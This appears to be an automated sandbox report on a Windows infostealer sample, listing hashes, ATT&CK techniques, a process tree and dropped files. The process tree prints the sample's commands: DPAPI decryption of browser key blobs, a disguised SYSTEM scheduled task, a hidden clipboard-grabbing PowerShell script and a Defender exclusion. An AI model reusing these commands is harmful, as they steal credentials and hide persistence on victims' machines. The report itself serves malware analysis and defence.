7afdfc51e20e5f336761b4a1964a8949428dff7b96ea8389c4db9383afe2e336

Analysis

max time kernel
31s
max time network
68s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
11/05/2024, 07:13

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe
Size 37.6MB
Sample240511-h2d2jsch7z
SHA256 6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef
MD5 dbcc5cfb5b91fae4370930affd3d7ef9
SHA1 5e5598375c5abeee8c18c9c28a5138e3763df29b
SHA512 0b66dbb037c5e30a451732403d5e0f278588bf78d4c12d660b75f53713f05e233bb5785942155f5dab88ecb92edc789c8b583621077077f7bee1b56f20dc8584
SSDEEP 393216:RQgHDlanaGBXvDKtz+bhPWES4tiNQPNrIKc4gaPbUAgrO4mg196l+ZArYsFRlQ6x:R3on1HvSzxAMN1FZArYsDPv47OZRqIx
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

execution spyware stealer

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1480	powershell.exe
4980	powershell.exe
3020	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe

Loads dropped DLL 1 IoCs

pid	Process
764	6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
8	api.ipify.org

An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs

pid	Process
3152	cmd.exe
4520	cmd.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
3756	schtasks.exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

Process Discovery

T1057

pid	Process
2120	tasklist.exe
220	tasklist.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
4636	taskkill.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1480	powershell.exe
1480	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1480	powershell.exe
Token: SeDebugPrivilege	2120	tasklist.exe
Token: SeDebugPrivilege	4636	taskkill.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 764 wrote to memory of 1116	764	6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe	90
PID 764 wrote to memory of 1116	764	6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe	90
PID 1116 wrote to memory of 2276	1116	cmd.exe	91
PID 1116 wrote to memory of 2276	1116	cmd.exe	91
PID 1116 wrote to memory of 1480	1116	cmd.exe	92
PID 1116 wrote to memory of 1480	1116	cmd.exe	92
PID 1480 wrote to memory of 224	1480	powershell.exe	93
PID 1480 wrote to memory of 224	1480	powershell.exe	93
PID 224 wrote to memory of 4444	224	csc.exe	94
PID 224 wrote to memory of 4444	224	csc.exe	94
PID 764 wrote to memory of 2624	764	6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe	95
PID 764 wrote to memory of 2624	764	6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe	95
PID 764 wrote to memory of 3916	764	6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe	96
PID 764 wrote to memory of 3916	764	6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe	96
PID 3916 wrote to memory of 2120	3916	cmd.exe	97
PID 3916 wrote to memory of 2120	3916	cmd.exe	97
PID 764 wrote to memory of 1932	764	6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe	99
PID 764 wrote to memory of 1932	764	6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe	99
PID 2624 wrote to memory of 4128	2624	cmd.exe	100
PID 2624 wrote to memory of 4128	2624	cmd.exe	100
PID 1932 wrote to memory of 4636	1932	cmd.exe	101
PID 1932 wrote to memory of 4636	1932	cmd.exe	101
PID 764 wrote to memory of 4508	764	6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe	102
PID 764 wrote to memory of 4508	764	6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe	102
PID 764 wrote to memory of 3152	764	6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe	103
PID 764 wrote to memory of 3152	764	6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe	103

C:\Users\Admin\AppData\Local\Temp\6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe
"C:\Users\Admin\AppData\Local\Temp\6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe"
1⤵
- Checks computer location settings
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:764
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "type .\temp.ps1 | powershell.exe -noprofile -"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1116
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" type .\temp.ps1 "
    3⤵
    PID:2276
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -noprofile -
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1480
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xliheta0\xliheta0.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:224
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6618.tmp" "c:\Users\Admin\AppData\Local\Temp\xliheta0\CSC2295CC13BA8548CBA8C11650F62A2FD.TMP"
        5⤵
        
        PID:4444
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2624
- - C:\Windows\system32\curl.exe
    curl http://api.ipify.org/ --ssl-no-revoke
    3⤵
    PID:4128
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3916
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:2120
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM msedge.exe /F"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1932
- - C:\Windows\system32\taskkill.exe
    taskkill /IM msedge.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4636
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist"
  2⤵
  PID:4508
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:220
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,62,21,214,225,79,56,69,78,166,59,95,27,253,149,23,2,0,0,0,0,2,0,0,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,226,241,92,66,174,187,6,38,209,193,142,166,116,244,248,31,73,3,124,122,132,249,215,184,221,61,142,63,81,31,235,133,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,131,228,65,214,200,163,167,4,113,222,37,206,252,183,179,243,139,246,96,173,127,6,13,187,15,183,207,98,67,208,33,241,48,0,0,0,149,231,106,81,112,102,41,127,125,162,67,100,183,39,147,134,104,182,155,155,80,150,49,84,30,123,115,253,164,30,208,57,168,236,10,216,222,207,149,153,9,220,3,233,51,202,182,161,64,0,0,0,165,23,67,63,92,175,41,154,37,17,89,91,54,206,178,76,58,178,32,96,55,61,68,213,172,26,220,113,216,72,144,138,217,131,17,196,132,54,25,154,207,53,11,7,244,44,83,247,206,53,182,251,206,70,40,32,195,82,216,215,113,156,204,19), $null, 'CurrentUser')"
  2⤵
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  PID:3152
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,62,21,214,225,79,56,69,78,166,59,95,27,253,149,23,2,0,0,0,0,2,0,0,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,226,241,92,66,174,187,6,38,209,193,142,166,116,244,248,31,73,3,124,122,132,249,215,184,221,61,142,63,81,31,235,133,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,131,228,65,214,200,163,167,4,113,222,37,206,252,183,179,243,139,246,96,173,127,6,13,187,15,183,207,98,67,208,33,241,48,0,0,0,149,231,106,81,112,102,41,127,125,162,67,100,183,39,147,134,104,182,155,155,80,150,49,84,30,123,115,253,164,30,208,57,168,236,10,216,222,207,149,153,9,220,3,233,51,202,182,161,64,0,0,0,165,23,67,63,92,175,41,154,37,17,89,91,54,206,178,76,58,178,32,96,55,61,68,213,172,26,220,113,216,72,144,138,217,131,17,196,132,54,25,154,207,53,11,7,244,44,83,247,206,53,182,251,206,70,40,32,195,82,216,215,113,156,204,19), $null, 'CurrentUser')
    3⤵
    PID:4712
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,62,21,214,225,79,56,69,78,166,59,95,27,253,149,23,2,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,201,113,56,22,252,68,29,107,231,85,79,25,191,102,33,222,58,126,5,203,161,71,219,216,104,13,11,81,67,17,229,167,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,100,67,227,223,37,157,32,95,60,47,129,24,90,163,210,248,240,135,50,216,155,83,95,190,90,255,186,146,95,162,98,64,48,0,0,0,95,16,160,21,151,220,17,78,106,35,200,222,155,24,157,216,71,241,58,130,86,199,106,73,92,88,139,159,102,225,198,26,164,28,212,81,105,28,66,102,237,125,26,43,106,116,10,90,64,0,0,0,126,107,77,2,54,47,191,227,26,149,2,79,190,208,129,152,108,253,0,231,102,12,74,240,114,21,190,63,7,182,7,149,227,156,214,2,141,165,141,237,57,7,78,3,244,39,68,238,95,217,219,30,185,250,193,253,4,132,26,113,233,118,109,140), $null, 'CurrentUser')"
  2⤵
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  PID:4520
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,62,21,214,225,79,56,69,78,166,59,95,27,253,149,23,2,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,201,113,56,22,252,68,29,107,231,85,79,25,191,102,33,222,58,126,5,203,161,71,219,216,104,13,11,81,67,17,229,167,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,100,67,227,223,37,157,32,95,60,47,129,24,90,163,210,248,240,135,50,216,155,83,95,190,90,255,186,146,95,162,98,64,48,0,0,0,95,16,160,21,151,220,17,78,106,35,200,222,155,24,157,216,71,241,58,130,86,199,106,73,92,88,139,159,102,225,198,26,164,28,212,81,105,28,66,102,237,125,26,43,106,116,10,90,64,0,0,0,126,107,77,2,54,47,191,227,26,149,2,79,190,208,129,152,108,253,0,231,102,12,74,240,114,21,190,63,7,182,7,149,227,156,214,2,141,165,141,237,57,7,78,3,244,39,68,238,95,217,219,30,185,250,193,253,4,132,26,113,233,118,109,140), $null, 'CurrentUser')
    3⤵
    PID:3984
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber"
  2⤵
  PID:1404
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic diskdrive get serialnumber
    3⤵
    PID:2060
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Steam /f"
  2⤵
  PID:1432
- - C:\Windows\system32\reg.exe
    reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Steam /f
    3⤵
    PID:4120
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "GoogleUpdateTaskMachineUAC" /tr "cscript //nologo C:\ProgramData\edge\Updater\RunBatHidden.vbs" /sc minute /mo 10 /f /RU SYSTEM"
  2⤵
  PID:3132
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "GoogleUpdateTaskMachineUAC" /tr "cscript //nologo C:\ProgramData\edge\Updater\RunBatHidden.vbs" /sc minute /mo 10 /f /RU SYSTEM
    3⤵
    - Creates scheduled task(s)
    PID:3756
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\ProgramData\edge\Updater\Get-Clipboard.ps1""
  2⤵
  PID:3704
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\ProgramData\edge\Updater\Get-Clipboard.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4980
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xrbzjleb\xrbzjleb.cmdline"
      4⤵
      PID:4588
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES83B2.tmp" "c:\Users\Admin\AppData\Local\Temp\xrbzjleb\CSCDCB4F9548BF24FB7962D221F8F6CE874.TMP"
        5⤵
        
        PID:2808
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
  2⤵
  PID:1472
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic bios get smbiosbiosversion
    3⤵
    PID:1008
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cscript //nologo "C:\ProgramData\edge\Updater\RunBatHidden.vbs""
  2⤵
  PID:216
- - C:\Windows\system32\cscript.exe
    cscript //nologo "C:\ProgramData\edge\Updater\RunBatHidden.vbs"
    3⤵
    PID:2716
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\ProgramData\edge\Updater\CheckEpicGamesLauncher.bat" "
      4⤵
      PID:536
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3020
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber"
  2⤵
  PID:1976
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic baseboard get serialnumber
    3⤵
    PID:2696
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
  2⤵
  PID:4404
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic MemoryChip get /format:list
    3⤵
    PID:1480
- - C:\Windows\system32\find.exe
    find /i "Speed"
    3⤵
    PID:624
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_computersystemproduct get uuid"
  2⤵
  PID:4548
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path win32_computersystemproduct get uuid
    3⤵
    PID:700
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic PATH Win32_VideoController GET Description,PNPDeviceID"
  2⤵
  PID:1836
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Description,PNPDeviceID
    3⤵
    PID:1452
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell wininit.exe"
  2⤵
  PID:2840
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell wininit.exe
    3⤵
    PID:1092
  - - C:\Windows\system32\wininit.exe
      "C:\Windows\system32\wininit.exe"
      4⤵
      PID:4452

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

CheckEpicGamesLauncher.bat

Path C:\ProgramData\edge\Updater\CheckEpicGamesLauncher.bat
Size 1KB
SHA256 e396e532af9adbdce7bf1f018313422779f32e750bc8193131525922334821c2
MD5 93f90bda499e44e7497ed86627232b18
SHA1 711d3ed2e1d427dd6633ac3f1f258382694ac050
SHA512 edc2522ce9afef5bbaf9b89990ecb0913fe5d033979c1015682aa2fecde84bf4d757a484d744cf1bad78904e512b9b9632f3beedba1a743a13719216b0adfb4f
MD5 SHA1 SHA512

Submit Download

Get-Clipboard.ps1

Path C:\ProgramData\edge\Updater\Get-Clipboard.ps1
Size 3KB
SHA256 817c184e6a3e7d1ff60b33ec777e23e8e0697e84efde8e422833f05584e00ea5
MD5 a8834c224450d76421d8e4a34b08691f
SHA1 73ed4011bc60ba616b7b81ff9c9cad82fb517c68
SHA512 672b3eca54dff4316db904d16c2333247e816e0cd8ef2d866111ddb49ab491568cc12d7263891707403dd14962326404c13855d5de1ae148114a51cb7d5e5596
MD5 SHA1 SHA512

Submit Download

RunBatHidden.vbs

Path C:\ProgramData\edge\Updater\RunBatHidden.vbs
Size 146B
SHA256 cca09191a1a96d288a4873f79a0916d9984bd6be8dcbd0c25d60436d46a15ca1
MD5 14a9867ec0265ebf974e440fcd67d837
SHA1 ae0e43c2daf4c913f5db17f4d9197f34ab52e254
SHA512 36c69c26fd84b9637b370a5fe214a90778c9ade3b11664e961fe14226e0300f29c2f43d3a1d1c655d9f2951918769259928bbbc5a9d83596a1afc42420fc1a54
MD5 SHA1 SHA512

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 36b51e575810b6af6fc5e778ce0f228bc7797cd3224839b00829ca166fa13f9a
MD5 3f01549ee3e4c18244797530b588dad9
SHA1 3e87863fc06995fe4b741357c68931221d6cc0b9
SHA512 73843215228865a4186ac3709bf2896f0f68da0ba3601cc20226203dd429a2ad9817b904a45f6b0456b8be68deebf3b011742a923ce4a77c0c6f3a155522ab50
MD5 SHA1 SHA512

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
MD5 a26df49623eff12a70a93f649776dab7
SHA1 efb53bd0df3ac34bd119adf8788127ad57e53803
SHA512 e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c
SSDEEP 1536:0YaC+jH04tAHk1ZSMrxyNhftflJdvYoFi3j39MVvjMlUst+hNOwUp7bNvv+EGa5d:0YaC+jH04tAHk1cMrxyNhftflJdvYoFw
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b38573b02c2269db50f5ad5f19e4aa4bf81242288e28be37c3c5d09342991342
MD5 25d6227d95c6b0682bb5f34ce51dda1f
SHA1 dc5af45ce58b79867d74c33cb90b33ab302aea82
SHA512 02ce7cb859c7a87ddc20f7832c872f00915958dddb5b27aa25dbd28e750570600f45eb86b4e8f4ffd290269cff7272e738a2e101bfcc241912946eb7da0a6754
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 7f66dcef030636395d51dcaa1fd62aa8652399b2800a7acd6035d4311801d139
MD5 46e36b366173559dbe6605b836c94a45
SHA1 e0e4f07f9712230e7692b55430cc0e454f15b5f0
SHA512 90fd8e0b35dd9de6d32442b551ce151b5406a201462fdc123537ec966a0edd28b46d0903fb00c0c55e8f619889fe6b7410a14991a3ebeb4e68b450fca095855a
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 e58c694b191b69a21442c3cb126f2349fd59835cf50ff6b395decd5bdb4527b0
MD5 519874bb481bc53d1b5f6c88bdb253c8
SHA1 38f9fc9e401a4f882c6a60e7a314997e195567e9
SHA512 6a052693e6a185090f890fe8add087b10819a52070d219d739d851245e6d0126b71d9a31093137f68d5a4ea78c7e8670e7da7d519f8399b0e6f83f59061bee17
MD5 SHA1 SHA512

Submit Download

RES6618.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES6618.tmp
Size 1KB
SHA256 7fcffb93315332b416047f4fa12fd3b21b144e99ae5219c44bf8872e80ff92db
MD5 686f01336635743cdf7a330f67d08890
SHA1 d5ef5d63d0bfbc4344e408f258e5ec1088398215
SHA512 ae8513f62fdef60c3a63cfd6eadd4c83efc71475e1187b123c89b7cbd45a15449cb992d8ca8a6ff0454248253da0f4f05215bfde2cc2c0ab5d8c59a1f5dad632
MD5 SHA1 SHA512

Submit Download

RES83B2.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES83B2.tmp
Size 1KB
SHA256 c7b647ce3857cd00fca85bf88a52b871c72cec178387ab34e1debee5b39da818
MD5 21b93bd868a10450b94bdf9459b1cd3b
SHA1 92f394d193e94126059e54009aa1c147aaff7ae0
SHA512 be01fc060e60d0f130b4e0539eecb1a077398b9f4e0ce5e4d65707335506168399a6dc326f2bac000ce583ec705781ab9907024aab435661060032e1d4bf2b5e
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_igggbymd.r0m.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_igggbymd.r0m.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

node_sqlite3.node

Path C:\Users\Admin\AppData\Local\Temp\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\build\Release\node_sqlite3.node
Size 1.8MB
SHA256 f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c
MD5 66a65322c9d362a23cf3d3f7735d5430
SHA1 ed59f3e4b0b16b759b866ef7293d26a1512b952e
SHA512 0a44d12852fc4c74658a49f886c4bc7c715c48a7cb5a3dcf40c9f1d305ca991dd2c2cb3d0b5fd070b307a8f331938c5213188cbb2d27d47737cc1c4f34a1ea21
SSDEEP 49152:lVtIA1xRrGLYLn9M+BMPPivsICK9rzoNEqt:7tH4X3inMZt
MD5 SHA1 SHA512 SSDEEP

Submit Download

temp.ps1

Path C:\Users\Admin\AppData\Local\Temp\temp.ps1
Size 379B
SHA256 348342fd00e113a58641b2c35dd6a8f2c1fb2f1b16d8dff9f77b05f29e229ef3
MD5 18047e197c6820559730d01035b2955a
SHA1 277179be54bba04c0863aebd496f53b129d47464
SHA512 1942acd6353310623561efb33d644ba45ab62c1ddfabb1a1b3b1dd93f7d03df0884e2f2fc927676dc3cd3b563d159e3043d2eff81708c556431be9baf4ccb877
MD5 SHA1 SHA512

Submit Download

xliheta0.dll

Path C:\Users\Admin\AppData\Local\Temp\xliheta0\xliheta0.dll
Size 3KB
SHA256 1c1ff338bd336ef5874310232a36365de32b6964212d89f888ec01ef05b404d2
MD5 c40e5de1d32ff10540f1116d47fc2ffe
SHA1 2a51e3506c0953e94c5e373b13f395ae9ae8ca22
SHA512 c11e11b20b141f3e1f7d7600b8ec9b146722c673fdd4d4383899c6ca3e8c9b8cc362c9dfdd838ece5d3ecccf66ad14c8d549a113eab3606b5ccaae9b7f6f18a8
MD5 SHA1 SHA512

Submit Download

xrbzjleb.dll

Path C:\Users\Admin\AppData\Local\Temp\xrbzjleb\xrbzjleb.dll
Size 3KB
SHA256 d50d4a73cad391fadb403d6aeb7d5beda15f001d66017ec484b51463e83d1e25
MD5 9363ca1722bd54d63206fb2215d660f6
SHA1 18a41dbe557e99b2104cdd46a31aa15d830c6148
SHA512 2b754620d70e21979791dfb851772b32741bfe6f3b65175d2552131c9ad279ba9ccb23f6bb3bb6863dfc27b054c3ab41ace85734cabdeb166cdbdf16c2ff735f
MD5 SHA1 SHA512

Submit Download

CSC2295CC13BA8548CBA8C11650F62A2FD.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\xliheta0\CSC2295CC13BA8548CBA8C11650F62A2FD.TMP
Size 652B
SHA256 de63da8bfecbf7091524722b9b0fa289f237b887e133fe38d1911aeb9d4cf5c7
MD5 4b1cf4bba36cd3ba7729e9a52c873a5e
SHA1 9e5ba58eb9676b5faf8b51d21e85589115f2e1a8
SHA512 d53c069f85efe657bd734172a4e3cbb1ff64ed85cbf1119c330c4f3b33981bd6443c9613bcbaef0440efc586f0f594fb784f6d5d8d20785e6586c2cbefad9ed4
MD5 SHA1 SHA512

Submit Download

xliheta0.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\xliheta0\xliheta0.0.cs
Size 311B
SHA256 36865e3bca9857e07b1137ada07318b9caaef9608256a6a6a7fd426ee03e1697
MD5 7bc8de6ac8041186ed68c07205656943
SHA1 673f31957ab1b6ad3dc769e86aedc7ed4b4e0a75
SHA512 0495839c79597e81d447672f8e85b03d0401f81c7b2011a830874c33812c54dab25b0f89a202bbb71abb4ffc7cb2c07cc37c008b132d4d5d796aebdd12741dba
MD5 SHA1 SHA512

Submit Download

xliheta0.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\xliheta0\xliheta0.cmdline
Size 369B
SHA256 a14ffd0161bc5f65a9ccb3635efa6d0573da88394a5eb0ded0004f2ad1ab2f4d
MD5 1e8722b18912c921001711d812f77d3c
SHA1 1c152cd625d6e7bd62cf7a2f58224ef110485b82
SHA512 587cb99e9b19288a77c01f36124f696f85a336024af04bc90c00cadec4a081ecdce1d923550ae7dc4e8fe3cde02d2515fb8c10e0a80b96ccd5dc48238a060639
MD5 SHA1 SHA512

Submit Download

CSCDCB4F9548BF24FB7962D221F8F6CE874.TMP

